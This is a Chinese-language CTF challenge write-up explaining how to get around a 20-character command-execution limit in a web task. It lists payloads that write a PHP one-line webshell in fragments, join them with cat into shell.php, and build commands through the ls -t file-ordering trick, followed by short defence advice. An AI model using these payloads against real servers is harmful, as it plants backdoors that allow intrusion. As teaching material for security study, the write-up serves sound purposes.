某入群题之命令执行字符限制绕过(WEB100)
字数 871 2025-08-18 11:37:24
命令执行字符限制绕过技术详解
题目背景
这是一道Web安全题目,主要考察在命令执行场景下如何绕过字符长度限制(本题限制为20个字符)。题目环境限制了直接使用bash、python等弹shell的方式。
关键知识点
1. 目录信息获取
- 使用
ls命令查看当前目录内容 - 使用
pwd命令获取当前工作目录路径?cmd=pwd> ../1.txt # 将结果输出到上级目录的1.txt文件
2. 使用>>追加命令写shell
>>命令可以将内容追加到文件末尾,利用这个特性可以分段写入shell代码:
- 使用括号和换行符拼接命令
- 写入PHP一句话木马时注意:
- 使用单引号避免转义问题
- 连接密码建议使用数字,可以省略单引号
3. 反斜杠\拼接命令(本题被过滤)
正常情况下,反斜杠可以:
- 转义特殊字符
- 在命令末尾用于拼接下一行命令
示例:
?cmd=l\ # 尝试拼接ls命令
?cmd=s >1.txt
但本题中反斜杠被过滤,此方法失效。
4. 使用ls -t按时间排序写马
ls -t可以按时间顺序排列文件,利用这个特性可以:
- 创建多个小文件片段
- 按正确顺序组合成有效payload
详细绕过技术
分段写入技术
-
分块写入:
- 将payload分成多个小段
- 使用
>>追加写入文件
-
PHP一句话木马写入示例:
# 第一段 ?cmd=echo '<?php ev>a # 第二段 ?cmd=al($_POST[1]);?>'>>a -
组合执行:
- 先写入临时文件
- 使用
cat命令组合文件内容
?cmd=cat a b c>shell.php
时间排序技术
- 创建多个文件片段,确保按
ls -t排序时能正确组合 - 使用通配符和重定向组合文件
?cmd=ls -t>a ?cmd=sh a
注意事项
-
引号使用:
- 单引号保持字符串原样
- 双引号会进行变量替换和转义处理
-
特殊字符处理:
$需要转义:\$- 空格和换行符需要特别注意
-
环境限制:
- 某些字符可能被过滤(如本题中的反斜杠)
- 需要根据实际环境调整payload
防御建议
- 严格过滤所有命令执行相关特殊字符
- 限制命令长度不仅要在前端,更要在后端验证
- 使用白名单而非黑名单过滤
- 禁用不必要的命令执行功能
扩展思考
- 更短字符限制下的绕过(如7个字符)
- 无回显情况下的利用
- 结合其他漏洞如文件包含实现更复杂的攻击链
通过以上技术,可以在严格的字符限制下实现命令执行和webshell写入,实际渗透测试中需要根据目标环境灵活调整payload。